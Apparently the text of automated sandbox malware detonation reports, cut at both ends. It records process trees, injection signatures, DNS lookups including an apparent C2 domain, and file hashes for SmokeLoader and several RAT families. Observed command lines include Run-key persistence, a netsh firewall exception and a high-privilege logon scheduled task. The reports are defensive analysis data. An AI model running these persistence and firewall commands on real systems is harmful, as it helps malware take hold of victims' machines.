Set value (str)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Byguc = "rundll32.exe C:\\Users\\Admin\\AppData\\Roaming\\Gouf\\baahgaab.dll,DllRegisterServer"	C:\Windows\SysWOW64\msiexec.exe	N/A

Suspicious use of SetThreadContext

Description	Indicator	Process	Target
PID 4152 set thread context of 4256	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\msiexec.exe

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeSecurityPrivilege	N/A	C:\Windows\SysWOW64\msiexec.exe	N/A
Token: SeSecurityPrivilege	N/A	C:\Windows\SysWOW64\msiexec.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 2968 wrote to memory of 4152	N/A	C:\Windows\system32\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2968 wrote to memory of 4152	N/A	C:\Windows\system32\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2968 wrote to memory of 4152	N/A	C:\Windows\system32\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 4152 wrote to memory of 4256	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\msiexec.exe
PID 4152 wrote to memory of 4256	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\msiexec.exe
PID 4152 wrote to memory of 4256	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\msiexec.exe
PID 4152 wrote to memory of 4256	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\msiexec.exe
PID 4152 wrote to memory of 4256	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\msiexec.exe

Processes

C:\Windows\system32\regsvr32.exe

regsvr32 /s C:\Users\Admin\AppData\Local\Temp\08751be484e1572995ebb085df1c2c6372084d63a64dce7fab28130d79a6ea2d.dll

C:\Windows\SysWOW64\regsvr32.exe

/s C:\Users\Admin\AppData\Local\Temp\08751be484e1572995ebb085df1c2c6372084d63a64dce7fab28130d79a6ea2d.dll

C:\Windows\SysWOW64\msiexec.exe

msiexec.exe

Network

Files

memory/4256-0-0x00000000007A0000-0x00000000007C5000-memory.dmp

Analysis: behavioral8

Detonation Overview

Submitted

2024-07-01 18:03

Reported

2024-07-01 18:14

Platform

win10v2004-20240508-en

Max time kernel

143s

Max time network

159s

Command Line

"C:\Users\Admin\AppData\Local\Temp\2019-09-02_22-41-10.exe"

Signatures

SmokeLoader

trojan backdoor smokeloader

Loads dropped DLL

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\2019-09-02_22-41-10.exe	N/A

Suspicious use of SetThreadContext

Description	Indicator	Process	Target
PID 4480 set thread context of 4160	N/A	C:\Users\Admin\AppData\Local\Temp\2019-09-02_22-41-10.exe	C:\Users\Admin\AppData\Local\Temp\2019-09-02_22-41-10.exe

Checks SCSI registry key(s)

Description	Indicator	Process	Target
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	C:\Users\Admin\AppData\Local\Temp\2019-09-02_22-41-10.exe	N/A
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	C:\Users\Admin\AppData\Local\Temp\2019-09-02_22-41-10.exe	N/A
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	C:\Users\Admin\AppData\Local\Temp\2019-09-02_22-41-10.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 4480 wrote to memory of 4160	N/A	C:\Users\Admin\AppData\Local\Temp\2019-09-02_22-41-10.exe	C:\Users\Admin\AppData\Local\Temp\2019-09-02_22-41-10.exe
PID 4480 wrote to memory of 4160	N/A	C:\Users\Admin\AppData\Local\Temp\2019-09-02_22-41-10.exe	C:\Users\Admin\AppData\Local\Temp\2019-09-02_22-41-10.exe
PID 4480 wrote to memory of 4160	N/A	C:\Users\Admin\AppData\Local\Temp\2019-09-02_22-41-10.exe	C:\Users\Admin\AppData\Local\Temp\2019-09-02_22-41-10.exe
PID 4480 wrote to memory of 4160	N/A	C:\Users\Admin\AppData\Local\Temp\2019-09-02_22-41-10.exe	C:\Users\Admin\AppData\Local\Temp\2019-09-02_22-41-10.exe
PID 4480 wrote to memory of 4160	N/A	C:\Users\Admin\AppData\Local\Temp\2019-09-02_22-41-10.exe	C:\Users\Admin\AppData\Local\Temp\2019-09-02_22-41-10.exe
PID 4480 wrote to memory of 4160	N/A	C:\Users\Admin\AppData\Local\Temp\2019-09-02_22-41-10.exe	C:\Users\Admin\AppData\Local\Temp\2019-09-02_22-41-10.exe

Processes

C:\Users\Admin\AppData\Local\Temp\2019-09-02_22-41-10.exe

"C:\Users\Admin\AppData\Local\Temp\2019-09-02_22-41-10.exe"

C:\Users\Admin\AppData\Local\Temp\2019-09-02_22-41-10.exe

"C:\Users\Admin\AppData\Local\Temp\2019-09-02_22-41-10.exe"

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	196.249.167.52.in-addr.arpa	udp
US	8.8.8.8:53	98.58.20.217.in-addr.arpa	udp
US	8.8.8.8:53	14.160.190.20.in-addr.arpa	udp
US	8.8.8.8:53	157.123.68.40.in-addr.arpa	udp
US	8.8.8.8:53	15.164.165.52.in-addr.arpa	udp
US	8.8.8.8:53	0.204.248.87.in-addr.arpa	udp
US	8.8.8.8:53	101.58.20.217.in-addr.arpa	udp
US	8.8.8.8:53	13.227.111.52.in-addr.arpa	udp
US	8.8.8.8:53	95.16.208.104.in-addr.arpa	udp

Files

memory/4160-5-0x0000000000400000-0x000000000040A000-memory.dmp

memory/4160-4-0x0000000000400000-0x000000000040A000-memory.dmp

memory/4160-3-0x0000000000400000-0x000000000040A000-memory.dmp

memory/4160-11-0x0000000000400000-0x000000000040A000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\D47F.tmp

MD5	4f3387277ccbd6d1f21ac5c07fe4ca68
SHA1	e16506f662dc92023bf82def1d621497c8ab5890
SHA256	767a3fc4a7a6818cdc3f0b99aaa95db694f6bcde719d2057a88b3d4df3d74fac
SHA512	9da199ac69e3c0d4e0c6307e0ab8178f12cc25cb2f14c3511f6b64e6e60a925c860f3263cb38353a97b55a71ef4d27f8cb7fa3cfc08e7c1a349fd8d209dfa219

memory/4480-1-0x0000000000900000-0x0000000000A00000-memory.dmp

memory/4480-2-0x0000000000A00000-0x0000000000A0B000-memory.dmp

Analysis: behavioral18

Detonation Overview

Submitted

2024-07-01 18:03

Reported

2024-07-01 18:14

Platform

win10v2004-20240508-en

Max time kernel

10s

Max time network

166s

Command Line

"C:\Users\Admin\AppData\Local\Temp\42f972925508a82236e8533567487761.exe"

Signatures

AsyncRat

rat asyncrat

Babylon RAT

trojan babylonrat

Darkcomet

trojan rat darkcomet

WarzoneRat, AveMaria

rat infostealer warzonerat

Async RAT payload

rat

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A

Warzone RAT payload

rat

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

Modifies Windows Firewall

evasion

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\netsh.exe	N/A

Enumerates physical storage devices

Program crash

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\WerFault.exe	C:\Users\Admin\AppData\Local\Temp\42f972925508a82236e8533567487761.exe
N/A	N/A	C:\Windows\SysWOW64\WerFault.exe	C:\Users\Admin\AppData\Local\Temp\UqT4exD7w1VOXHBe.exe
N/A	N/A	C:\Windows\SysWOW64\WerFault.exe	C:\Users\Admin\AppData\Local\Temp\SLKGslb2G4cTuMyv.exe
N/A	N/A	C:\Windows\SysWOW64\WerFault.exe	C:\Users\Admin\AppData\Local\Temp\MlcDRcTsdPN4ISBE.exe
N/A	N/A	C:\Windows\SysWOW64\WerFault.exe	C:\Users\Admin\Documents\excelsl.exe

Delays execution with timeout.exe

evasion

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\timeout.exe	N/A

Scheduled Task/Job: Scheduled Task

persistence execution

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\schtasks.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Users\Admin\AppData\Local\Temp\42f972925508a82236e8533567487761.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Users\Admin\AppData\Local\Temp\42f972925508a82236e8533567487761.exe	N/A

Processes

C:\Users\Admin\AppData\Local\Temp\42f972925508a82236e8533567487761.exe

"C:\Users\Admin\AppData\Local\Temp\42f972925508a82236e8533567487761.exe"

C:\Users\Admin\AppData\Local\Temp\sUjimUCh1qKDfECW.exe

"C:\Users\Admin\AppData\Local\Temp\sUjimUCh1qKDfECW.exe"

C:\Users\Admin\AppData\Local\Temp\z4RmEdJreVaaI7yE.exe

"C:\Users\Admin\AppData\Local\Temp\z4RmEdJreVaaI7yE.exe"

C:\Users\Admin\AppData\Local\Temp\MlcDRcTsdPN4ISBE.exe

"C:\Users\Admin\AppData\Local\Temp\MlcDRcTsdPN4ISBE.exe"

C:\Users\Admin\AppData\Local\Temp\YrIoRiNRTpDIbZsZ.exe

"C:\Users\Admin\AppData\Local\Temp\YrIoRiNRTpDIbZsZ.exe"

C:\Users\Admin\AppData\Local\Temp\SLKGslb2G4cTuMyv.exe

"C:\Users\Admin\AppData\Local\Temp\SLKGslb2G4cTuMyv.exe"

C:\Users\Admin\AppData\Local\Temp\UqT4exD7w1VOXHBe.exe

"C:\Users\Admin\AppData\Local\Temp\UqT4exD7w1VOXHBe.exe"

C:\Users\Admin\AppData\Local\Temp\6ax0Yc8236t6EQMa\svthost.exe

"C:\Users\Admin\AppData\Local\Temp\6ax0Yc8236t6EQMa\svthost.exe"

C:\Users\Admin\AppData\Local\Temp\6ax0Yc8236t6EQMa\svthost.exe

"C:\Users\Admin\AppData\Local\Temp\6ax0Yc8236t6EQMa\svthost.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 2760 -ip 2760

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2760 -s 1660

C:\Users\Admin\AppData\Local\Temp\9Wr8gF4Xq79ka0w0\svrhost.exe

"C:\Users\Admin\AppData\Local\Temp\9Wr8gF4Xq79ka0w0\svrhost.exe"

C:\Users\Admin\AppData\Local\Temp\fI87ltOJhCNhEwlw\eridjeht.exe

"C:\Users\Admin\AppData\Local\Temp\fI87ltOJhCNhEwlw\eridjeht.exe"

C:\Users\Admin\AppData\Local\Temp\fI87ltOJhCNhEwlw\eridjeht.exe

"C:\Users\Admin\AppData\Local\Temp\fI87ltOJhCNhEwlw\eridjeht.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 3732 -ip 3732

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 2456 -ip 2456

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2456 -s 1152

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3732 -s 1148

C:\Users\Admin\AppData\Local\Temp\heCYMLXIPI2fpGWa\svuhost.exe

"C:\Users\Admin\AppData\Local\Temp\heCYMLXIPI2fpGWa\svuhost.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 4588 -ip 4588

C:\Windows\SysWOW64\notepad.exe

notepad

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4588 -s 1148

C:\Users\Admin\Documents\excelsl.exe

"C:\Users\Admin\Documents\excelsl.exe"

C:\Users\Admin\AppData\Local\Temp\RJCisDErBR6WU7D5\svbhost.exe

"C:\Users\Admin\AppData\Local\Temp\RJCisDErBR6WU7D5\svbhost.exe"

C:\Users\Admin\AppData\Local\Temp\RJCisDErBR6WU7D5\svbhost.exe

"C:\Users\Admin\AppData\Local\Temp\RJCisDErBR6WU7D5\svbhost.exe"

C:\Users\Admin\AppData\Local\Temp\RJCisDErBR6WU7D5\svbhost.exe

"C:\Users\Admin\AppData\Local\Temp\RJCisDErBR6WU7D5\svbhost.exe" 316

C:\Windows\svehosts.exe

"C:\Windows\svehosts.exe"

C:\Users\Admin\AppData\Local\Temp\heCYMLXIPI2fpGWa\svuhost.exe

"C:\Users\Admin\AppData\Local\Temp\heCYMLXIPI2fpGWa\svuhost.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 4164 -ip 4164

C:\Windows\SysWOW64\notepad.exe

notepad

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4164 -s 1144

C:\Users\Admin\AppData\Local\Temp\RJCisDErBR6WU7D5\svbhost.exe

"C:\Users\Admin\AppData\Local\Temp\RJCisDErBR6WU7D5\svbhost.exe"

C:\Windows\SysWOW64\netsh.exe

netsh firewall add allowedprogram "C:\Windows\svehosts.exe" "svehosts.exe" ENABLE

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /f /sc ONLOGON /RL HIGHEST /tn "'prndrvest"' /tr "'C:\Users\Admin\AppData\Roaming\prndrvest.exe"'

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpF889.tmp.bat""

C:\Windows\SysWOW64\timeout.exe

timeout 3

C:\Users\Admin\AppData\Roaming\prndrvest.exe

"C:\Users\Admin\AppData\Roaming\prndrvest.exe"

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	196.249.167.52.in-addr.arpa	udp
US	8.8.8.8:53	80.90.14.23.in-addr.arpa	udp
US	8.8.8.8:53	17.160.190.20.in-addr.arpa	udp
US	8.8.8.8:53	217.106.137.52.in-addr.arpa	udp
US	8.8.8.8:53	sandyclark255.hopto.org	udp
US	8.8.8.8:53	sandyclark255.hopto.org	udp
US	8.8.8.8:53	183.59.114.20.in-addr.arpa	udp
US	8.8.8.8:53	171.39.242.20.in-addr.arpa	udp
US	8.8.8.8:53	31.121.18.2.in-addr.arpa	udp
US	8.8.8.8:53	82.90.14.23.in-addr.arpa	udp
US	52.111.229.43:443		tcp
US	8.8.8.8:53	14.227.111.52.in-addr.arpa	udp

Files

memory/2760-0-0x0000000074A62000-0x0000000074A63000-memory.dmp

memory/2760-1-0x0000000074A60000-0x0000000075011000-memory.dmp

memory/2760-2-0x0000000074A60000-0x0000000075011000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\YrIoRiNRTpDIbZsZ.exe

MD5	590acb5fa6b5c3001ebce3d67242aac4
SHA1	5df39906dc4e60f01b95783fc55af6128402d611
SHA256	7bf9b7b25cf1671e5640f8eeac149f9a4e8c9f6c63415f4bd61bccb10ddf8509
SHA512	4ac518140ee666491132525853f2843357d622fe351e59cca7ce3b054d665f77ad8987adddd601e6b1afe6903222d77cf3c41a5aa69e8caf0dcdc7656a43e9ba

memory/1204-55-0x0000000074A60000-0x0000000075011000-memory.dmp

memory/1612-66-0x0000000074A60000-0x0000000075011000-memory.dmp

memory/1612-73-0x0000000074A60000-0x0000000075011000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\UqT4exD7w1VOXHBe.exe

MD5	e87459f61fd1f017d4bd6b0a1a1fc86a
SHA1	30838d010aad8c9f3fd0fc302e71b4cbe6f138c0
SHA256	ec1b56551036963a425f6a0564d75980054e01d251c88eb29c81c1b2182f5727
SHA512	dd13993174d234d60ec98124b71bfefcf556c069e482a2e1f127f81f6738b71cd37cee95bf0119d3a61513c01438055767d480e26d6ed260ee16a96533d0cfa2

C:\Users\Admin\AppData\Local\Temp\6ax0Yc8236t6EQMa\svthost.exe

MD5	9d2a888ca79e1ff3820882ea1d88d574
SHA1	112c38d80bf2c0d48256249bbabe906b834b1f66
SHA256	8b5b38085f12d51393ed5a481a554074d3c482d53ecd917f2f5dffdf3d2ee138
SHA512	17a9f74ecf9f118ed0252fa0bc6ce0f9758a4dc75f238cae304def9c37cd94623818dd4aef38826642ff9e549b7e6047318f8bf6de7edff2d61a298d0bf5c840

memory/3232-81-0x0000000000E40000-0x0000000000EA4000-memory.dmp

memory/4588-79-0x0000000074A60000-0x0000000075011000-memory.dmp

memory/3232-83-0x0000000005790000-0x0000000005822000-memory.dmp

memory/3232-82-0x0000000005D40000-0x00000000062E4000-memory.dmp

memory/4092-77-0x0000000000400000-0x00000000004BA000-memory.dmp

memory/3232-84-0x00000000031E0000-0x00000000031EA000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\SLKGslb2G4cTuMyv.exe

MD5	f07d2c33e4afe36ec6f6f14f9a56e84a
SHA1	3ebed0c1a265d1e17ce038dfaf1029387f0b53ee
SHA256	309385e6cd68c0dd148905c3147f77383edaf35da9609c0717da7df1a894e3ca
SHA512	b4fbf0e6b8e7e8e1679680039e4ac0aebdf7967a9cc36d9ddac35fa31d997253384a51656d886afb2ded9f911b7b8b44c2dcb8ebe71962e551c5025a4d75ebe2

memory/1204-54-0x0000000074A60000-0x0000000075011000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\MlcDRcTsdPN4ISBE.exe

MD5	3e804917c454ca31c1cbd602682542b7
SHA1	1df3e81b9d879e21af299f5478051b98f3cb7739
SHA256	f9f7b6f7b8c5068f9e29a5b50afca609018c50ffd61929e1b78124f5381868f1
SHA512	28e59bc545179c2503771b93d947930bd56f8ebd0402ecbb398335c5ac89f40051e93fbfd84d35b8c625b253bb4cafea6a5360914b8d54d1bc121977f1eadbaf

C:\Users\Admin\AppData\Local\Temp\z4RmEdJreVaaI7yE.exe

MD5	9133c2a5ebf3e25aceae5a001ca6f279
SHA1	319f911282f3cded94de3730fa0abd5dec8f14be
SHA256	7c3615c405f7a11f1c217b9ecd1000cf60a37bca7da1f2d12da21cc110b16b4d
SHA512	1d1af3fcfcdba41874e3eb3e2571d25798acfd49b63b7fcf9393be2f59c9ba77e563da1717abcd6445fc52fd6d948bf4c0dd5978a192c8e32e0a9279fd0be33e

memory/2760-86-0x0000000074A60000-0x0000000075011000-memory.dmp

memory/1204-37-0x0000000074A60000-0x0000000075011000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\sUjimUCh1qKDfECW.exe

MD5	2819e45588024ba76f248a39d3e232ba
SHA1	08a797b87ecfbee682ce14d872177dae1a5a46a2
SHA256	b82b23059e398b39f183ec833d498200029033b0fd3a138b6c2064a6fa3c4b93
SHA512	a38b58768daf58fa56ca7b8c37826d57e9dbfcd2dedf120a5b7b9aa36c4e10f64ec07c11dbd77b5861236c005fe5d453523911906dd77a302634408f1d78503a

memory/3232-87-0x0000000005B30000-0x0000000005B54000-memory.dmp

memory/3544-100-0x0000000000400000-0x000000000040F000-memory.dmp

memory/1264-99-0x0000000000400000-0x0000000000554000-memory.dmp

memory/1264-96-0x0000000000400000-0x0000000000554000-memory.dmp

memory/3544-92-0x0000000000400000-0x000000000040F000-memory.dmp

memory/3232-104-0x0000000003140000-0x0000000003152000-memory.dmp

memory/3052-112-0x0000000000400000-0x00000000004BA000-memory.dmp

memory/3532-116-0x0000000000710000-0x0000000000711000-memory.dmp

memory/3052-110-0x0000000000400000-0x00000000004BA000-memory.dmp

memory/3052-107-0x0000000000400000-0x00000000004BA000-memory.dmp

memory/4588-166-0x0000000074A60000-0x0000000075011000-memory.dmp

memory/316-187-0x0000000000400000-0x00000000004C2000-memory.dmp

memory/316-188-0x0000000000400000-0x00000000004C2000-memory.dmp

memory/316-193-0x0000000000400000-0x00000000004C2000-memory.dmp

memory/316-192-0x0000000000400000-0x00000000004C2000-memory.dmp

memory/316-190-0x0000000000400000-0x00000000004C2000-memory.dmp

memory/316-185-0x0000000000400000-0x00000000004C2000-memory.dmp

memory/316-183-0x0000000000400000-0x00000000004C2000-memory.dmp

memory/1204-209-0x0000000074A60000-0x0000000075011000-memory.dmp

memory/316-210-0x0000000000400000-0x00000000004C2000-memory.dmp

memory/4740-220-0x0000000000400000-0x00000000004BA000-memory.dmp

memory/2624-219-0x00000000005E0000-0x00000000005E1000-memory.dmp

memory/4740-221-0x0000000000400000-0x00000000004BA000-memory.dmp

memory/3232-222-0x0000000006A60000-0x0000000006AC6000-memory.dmp

memory/4740-218-0x0000000000400000-0x00000000004BA000-memory.dmp

memory/3232-224-0x0000000008C00000-0x0000000008C9C000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\excelsl.exe.log

MD5	0a9b4592cd49c3c21f6767c2dabda92f
SHA1	f534297527ae5ccc0ecb2221ddeb8e58daeb8b74
SHA256	c7effe9cb81a70d738dee863991afefab040290d4c4b78b4202383bcb9f88fcd
SHA512	6b878df474e5bbfb8e9e265f15a76560c2ef151dcebc6388c82d7f6f86ffaf83f5ade5a09f1842e493cb6c8fd63b0b88d088c728fd725f7139f965a5ee332307

memory/4520-229-0x0000000000400000-0x00000000004C2000-memory.dmp

memory/316-231-0x0000000000400000-0x00000000004C2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\tmpF889.tmp.bat

MD5	3329a2e454195500de35517ee67919bb
SHA1	6de8fad50164c3fbe83f14aafd2506f3e8f451e7
SHA256	16d39c00e9c34c1a1a0bb3d19407c300e75e98f5c1f75bb477b58f68f76e85e2
SHA512	25da645c02fe754c22c26c34a21e845d0c8b3328c9e3daf9d108aab807a298551eaa4a3438e1ea0a51733fe380c68723a4cc1ed5b775091fe03e57b95b61b497

C:\Users\Admin\AppData\Roaming\prndrvest.exe

MD5	2937f839ca7769674869313e77a78f36
SHA1	48484a9133a8a0d6d5b7db470c0bb06156541c53
SHA256	87b95159661256b98b5f8c06f5a7e849157ffd34c1bc5d4e5b3aee4b138329bc
SHA512	e1c37413aa6b473ee54be12395b027031d0af332892cbf394d5cf83d7c31fd4edf99e8ac30c32ff194cb4a1d5d1813d97247cd942ca8957d0d21fe3b56fb3147

C:\Users\Admin\AppData\Roaming\prndrvest.exe

MD5	75dcd1ae627e0249ad0ad88f363f5f5b
SHA1	a16fac28c3096a0c18781091161d633c1444b530
SHA256	f0c23314b42386b1d02cddf5ef05124e9f6253db6538e3cdf55f11301f4be220
SHA512	2ca248f41e2c70bffb8e7936b664fa5aa38fb0bccd76b296cacf1337135441d31124e6cf590c4919a50c56d6aa760e3f008dd5a230d3b2dd74cb5fbf0c98873a

memory/1612-246-0x0000000074A60000-0x0000000075011000-memory.dmp

Analysis: behavioral20

Detonation Overview

Submitted

2024-07-01 18:03

Reported

2024-07-01 18:13

Platform

win10v2004-20240508-en

Max time kernel

18s

Max time network

130s

Command Line

"C:\Users\Admin\AppData\Local\Temp\42f972925508a82236e8533567487761(1).exe"

Signatures

AsyncRat

rat asyncrat

Babylon RAT

trojan babylonrat

Darkcomet

trojan rat darkcomet

WarzoneRat, AveMaria

rat infostealer warzonerat

Async RAT payload

rat

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A

Warzone RAT payload

rat

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

Modifies Windows Firewall

evasion

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\netsh.exe	N/A

Checks computer location settings

Description	Indicator	Process	Target
Key value queried	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation	C:\Users\Admin\AppData\Local\Temp\42f972925508a82236e8533567487761(1).exe	N/A

Enumerates physical storage devices

Program crash

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\WerFault.exe	C:\Users\Admin\AppData\Local\Temp\42f972925508a82236e8533567487761(1).exe
N/A	N/A	C:\Windows\SysWOW64\WerFault.exe	C:\Users\Admin\AppData\Local\Temp\vXIjmGGdY2N7fZw4.exe
N/A	N/A	C:\Windows\SysWOW64\WerFault.exe	C:\Users\Admin\AppData\Local\Temp\gQoNzQDlDop1I8Yn.exe
N/A	N/A	C:\Windows\SysWOW64\WerFault.exe	C:\Users\Admin\AppData\Local\Temp\YLxUm4TXsChj2JYM.exe
N/A	N/A	C:\Windows\SysWOW64\WerFault.exe	C:\Users\Admin\Documents\excelsl.exe

Delays execution with timeout.exe

evasion

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\timeout.exe	N/A

Scheduled Task/Job: Scheduled Task

persistence execution

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\schtasks.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Users\Admin\AppData\Local\Temp\42f972925508a82236e8533567487761(1).exe	N/A
Token: SeDebugPrivilege	N/A	C:\Users\Admin\AppData\Local\Temp\42f972925508a82236e8533567487761(1).exe	N/A

Processes

C:\Users\Admin\AppData\Local\Temp\42f972925508a82236e8533567487761(1).exe

"C:\Users\Admin\AppData\Local\Temp\42f972925508a82236e8533567487761(1).exe"

C:\Users\Admin\AppData\Local\Temp\FfaoLqToQ5b86H3I.exe

"C:\Users\Admin\AppData\Local\Temp\FfaoLqToQ5b86H3I.exe"

C:\Users\Admin\AppData\Local\Temp\pwafL68TvO7k2eAN.exe

"C:\Users\Admin\AppData\Local\Temp\pwafL68TvO7k2eAN.exe"

C:\Users\Admin\AppData\Local\Temp\YLxUm4TXsChj2JYM.exe

"C:\Users\Admin\AppData\Local\Temp\YLxUm4TXsChj2JYM.exe"

C:\Users\Admin\AppData\Local\Temp\ap6JYH4bZ8adfFk4.exe

"C:\Users\Admin\AppData\Local\Temp\ap6JYH4bZ8adfFk4.exe"

C:\Users\Admin\AppData\Local\Temp\vXIjmGGdY2N7fZw4.exe

"C:\Users\Admin\AppData\Local\Temp\vXIjmGGdY2N7fZw4.exe"

C:\Users\Admin\AppData\Local\Temp\gQoNzQDlDop1I8Yn.exe

"C:\Users\Admin\AppData\Local\Temp\gQoNzQDlDop1I8Yn.exe"

C:\Users\Admin\AppData\Local\Temp\6ax0Yc8236t6EQMa\svthost.exe

"C:\Users\Admin\AppData\Local\Temp\6ax0Yc8236t6EQMa\svthost.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 2116 -ip 2116

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2116 -s 1656

C:\Users\Admin\AppData\Local\Temp\9Wr8gF4Xq79ka0w0\svrhost.exe

"C:\Users\Admin\AppData\Local\Temp\9Wr8gF4Xq79ka0w0\svrhost.exe"

C:\Users\Admin\AppData\Local\Temp\fI87ltOJhCNhEwlw\eridjeht.exe

"C:\Users\Admin\AppData\Local\Temp\fI87ltOJhCNhEwlw\eridjeht.exe"

C:\Users\Admin\AppData\Local\Temp\9Wr8gF4Xq79ka0w0\svrhost.exe

"C:\Users\Admin\AppData\Local\Temp\9Wr8gF4Xq79ka0w0\svrhost.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 2884 -ip 2884

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 4688 -ip 4688

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4688 -s 1164

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2884 -s 1164

C:\Users\Admin\AppData\Local\Temp\RJCisDErBR6WU7D5\svbhost.exe

"C:\Users\Admin\AppData\Local\Temp\RJCisDErBR6WU7D5\svbhost.exe"

C:\Users\Admin\AppData\Local\Temp\RJCisDErBR6WU7D5\svbhost.exe

"C:\Users\Admin\AppData\Local\Temp\RJCisDErBR6WU7D5\svbhost.exe"

C:\Users\Admin\AppData\Local\Temp\RJCisDErBR6WU7D5\svbhost.exe

"C:\Users\Admin\AppData\Local\Temp\RJCisDErBR6WU7D5\svbhost.exe" 644

C:\Users\Admin\AppData\Local\Temp\heCYMLXIPI2fpGWa\svuhost.exe

"C:\Users\Admin\AppData\Local\Temp\heCYMLXIPI2fpGWa\svuhost.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 4004 -ip 4004

C:\Windows\SysWOW64\notepad.exe

notepad

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4004 -s 1168

C:\Windows\svehosts.exe

"C:\Windows\svehosts.exe"

C:\Users\Admin\Documents\excelsl.exe

"C:\Users\Admin\Documents\excelsl.exe"

C:\Users\Admin\AppData\Local\Temp\RJCisDErBR6WU7D5\svbhost.exe

"C:\Users\Admin\AppData\Local\Temp\RJCisDErBR6WU7D5\svbhost.exe"

C:\Users\Admin\AppData\Local\Temp\heCYMLXIPI2fpGWa\svuhost.exe

"C:\Users\Admin\AppData\Local\Temp\heCYMLXIPI2fpGWa\svuhost.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 2268 -ip 2268

C:\Windows\SysWOW64\notepad.exe

notepad

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2268 -s 1144

C:\Windows\SysWOW64\netsh.exe

netsh firewall add allowedprogram "C:\Windows\svehosts.exe" "svehosts.exe" ENABLE

C:\Windows\SysWOW64\schtasks.exe

